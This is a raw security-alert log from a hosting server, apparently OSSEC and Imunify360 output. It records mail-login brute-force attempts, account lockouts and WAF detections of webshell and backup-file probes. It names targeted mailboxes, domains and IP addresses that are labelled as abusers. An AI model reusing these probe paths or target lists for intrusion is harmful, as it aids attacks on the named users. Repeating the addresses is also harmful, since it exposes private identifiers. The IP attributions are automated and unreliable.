name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:29:06 dovecot_login authenticator failed for H=(OsGx0U9bU) [178.16.54.138]:49896: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/indfinitydesign/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.230.165.58
country_id: 1814991
description:
2026-01-31 22:29:26 dovecot_login authenticator failed for H=([183.230.165.58]) [183.230.165.58]:49776: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:29:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.165
country_id: 1835841
description:
2026-01-31 22:30:01 dovecot_login authenticator failed for H=([121.142.146.165]) [121.142.146.165]:60813: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:29:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63731: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:29:18 dovecot_login authenticator failed for H=(bq0HWQ9) [185.169.4.188]:56183: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:29:26 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.41.84.98
country_id: 798544
description:
2026-01-31 22:29:46 dovecot_login authenticator failed for H=(98.84.41.31.ip4.feromedia.eu) [31.41.84.98]:51060: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-31 22:30:35 dovecot_login authenticator failed for H=(nsg-corporate-36.229.187.122.airtel.in) [122.187.229.36]:36337: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:30:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/indfinitydesign/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:30:04 dovecot_login authenticator failed for H=(AUXflEz) [185.169.4.188]:56090: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.46
country_id: 1269750
description:
2026-01-31 22:30:16 dovecot_login authenticator failed for H=([182.95.123.46]) [182.95.123.46]:43702: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:30:18 dovecot_login authenticator failed for H=(SpHwaXJE) [178.16.54.138]:56013: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:30:53 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64536: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:30:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:30:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49437: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.80
country_id: 1269750
description:
2026-01-31 22:30:19 dovecot_login authenticator failed for H=([122.187.229.80]) [122.187.229.80]:51721: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 22:30:52 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:46402: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.248.62.78
country_id: 1861060
domain: sv3.nocser.net
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:31:04 dovecot_login authenticator failed for H=(LNQWmglTsZ) [178.16.54.138]:65388: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:31:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:31:18 dovecot_login authenticator failed for H=(kbqkyQtW) [185.169.4.188]:64047: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:32:25 dovecot_login authenticator failed for H=(zwoPVSa4ed) [178.16.54.138]:58937: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-01-31 22:32:52 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:37488: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 22:32:30 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:38834: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.175.199.86
country_id: 2017370
description:
2026-01-31 22:32:52 dovecot_login authenticator failed for H=(bergsound.Moscow.Access.Comstar.ru) [89.175.199.86]:60440: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:32:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:32:05 dovecot_login authenticator failed for H=(IKxsRB5DG) [185.169.4.188]:52471: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 22:33:15 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:59483: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:33:19 dovecot_login authenticator failed for H=(Y7tceEH) [185.169.4.188]:59558: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-01-31 22:33:10 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:36131: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:33:11 dovecot_login authenticator failed for H=(fxPbIZQw8) [178.16.54.138]:61034: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 22:33:21 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:53718: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-31 22:33:32 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:41330: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:34:28 dovecot_login authenticator failed for H=(23357hg) [178.16.54.138]:57065: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:34:05 dovecot_login authenticator failed for H=(ttQfEFiG) [178.16.54.138]:53490: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-01-31 22:34:43 dovecot_login authenticator failed for H=([200.107.163.195]) [200.107.163.195]:62430: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:34:07 dovecot_login authenticator failed for H=(PMraTWU) [185.169.4.188]:58745: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:34:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-01-31 22:35:59 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:60690: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.238
country_id: 1814991
description:
2026-01-31 22:35:05 dovecot_login authenticator failed for H=([1.30.20.238]) [1.30.20.238]:52092: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-01-31 22:35:31 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:40412: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:35:10 dovecot_login authenticator failed for H=(1x0DghuD) [178.16.54.138]:60185: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:35:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:35:17 dovecot_login authenticator failed for H=(uXLcTb) [185.169.4.188]:50907: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 22:35:36 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35178: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-01-31 22:35:43 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:43568: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-01-31 22:35:08 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:56792: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 22:35:08 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:42010: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:35:58 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65085: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:36:04 dovecot_login authenticator failed for H=(Lu2QfpkgQ) [185.169.4.188]:64627: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.94.52
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=25 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:36:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:36:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:36:15 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59881: 535 Incorrect authentication data (set_id=testing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-01-31 22:36:04 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:53752: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:36:12 dovecot_login authenticator failed for H=(nWqOb8) [178.16.54.138]:60657: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:37:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:37:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:37:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50512: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:37:06 dovecot_login authenticator failed for H=(U3mgYrqYc) [178.16.54.138]:60420: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:37:15 dovecot_login authenticator failed for H=(F7tlLdMsjm) [185.169.4.188]:54777: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.169.142
country_id: 660013
description:
[2026-01-31 22:37:28 +0800] info [whostmgrd] 144.31.169.142 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-01-31 22:37:59 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:41695: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:38:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64249: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:38:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:38:04 dovecot_login authenticator failed for H=(BFpy9Bdex) [185.169.4.188]:55480: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-31 22:38:11 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:56901: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 22:38:48 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:8133: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:38:11 dovecot_login authenticator failed for H=(7UBSExnvF) [178.16.54.138]:59765: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:38:26 dovecot_login authenticator failed for H=(eE9CjYPMjV) [178.16.54.138]:59522: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:38:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:39:08 dovecot_login authenticator failed for H=(e0wY8Bylz) [178.16.54.138]:53603: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-31 22:39:08 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:57578: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:39:18 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:59621: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:39:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:40:14 dovecot_login authenticator failed for H=(RHe64mWLFo) [178.16.54.138]:59881: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-31 22:40:58 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:36612: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 22:40:23 H=([64.89.160.15]) [64.89.160.15]:63554 F=<drdavid00r5@outlook.com> rejected RCPT <sales@hmz.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.174.142.122
country_id: 6252001
description:
2026-01-31 22:40:46 dovecot_login authenticator failed for H=(cdqgu) [107.174.142.122]:56385: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-31 22:40:31 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:57428: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-31 22:40:35 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:47756: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.45.175.196
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Worksheet/Dimension.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.212.118.40
country_id: 6252001
description:
2026-01-31 22:41:45 dovecot_login authenticator failed for H=40.sub-97-212-118.myvzw.com [97.212.118.40]:43720: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:41:45 dovecot_login authenticator failed for H=(C3bUZddc31) [178.16.54.138]:59492: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:41:04 dovecot_login authenticator failed for H=(MX6z0C) [178.16.54.138]:58602: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:41:11 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54649: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.151.240.91
country_id: 1522867
description:
2026-01-31 22:41:37 dovecot_login authenticator failed for H=37.151.240.91.dynamic.telecom.kz [37.151.240.91]:51309: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.151
country_id: 2017370
description:
2026-01-31 22:41:40 dovecot_login authenticator failed for H=([178.178.194.151]) [178.178.194.151]:50354: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.57.27.185
country_id: 1643084
description:
2026-01-31 22:41:48 dovecot_login authenticator failed for H=([202.57.27.185]) [202.57.27.185]:50832: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.191.124.201
country_id: 1269750
description:
2026-01-31 22:41:51 dovecot_login authenticator failed for H=([160.191.124.201]) [160.191.124.201]:51729: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:42:06 dovecot_login authenticator failed for H=(LKdmlt) [178.16.54.138]:62862: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.15.171.148
country_id: 1269750
description:
2026-01-31 22:42:10 dovecot_plain authenticator failed for H=(D5USN7IUSI1V) [47.15.171.148]:53298: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.161.196.5
country_id: 99237
description:
2026-01-31 22:42:05 dovecot_login authenticator failed for H=([46.161.196.5]) [46.161.196.5]:45232: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-01-31 22:43:20 dovecot_login authenticator failed for H=(dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:38057: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.245.175
country_id: 3469034
description:
2026-01-31 22:43:31 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [186.215.245.175]:59655: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.71.214.155
country_id: 6252001
description:
2026-01-31 22:43:37 dovecot_login authenticator failed for H=wsip-174-71-214-155.lv.lv.cox.net [174.71.214.155]:57262: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:43:04 dovecot_login authenticator failed for H=(5qbUu6) [178.16.54.138]:62468: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:43:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57014: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-01-31 22:43:39 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net [111.70.32.10]:52712: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-01-31 22:44:40 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:51698: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.223
country_id: 2186224
description:
2026-01-31 22:44:12 dovecot_login authenticator failed for H=([121.73.163.223]) [121.73.163.223]:54158: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-01-31 22:44:18 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:39322: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 22:44:54 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:59503: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:44:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57424: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:44:45 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49768: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.184.1.179
country_id: 2510769
description:
2026-01-31 22:44:26 dovecot_login authenticator failed for H=179.1.184.185.dynamic.electronicamartinez.es [185.184.1.179]:57214: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-01-31 22:44:35 dovecot_login authenticator failed for H=([128.185.208.42]) [128.185.208.42]:33592: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
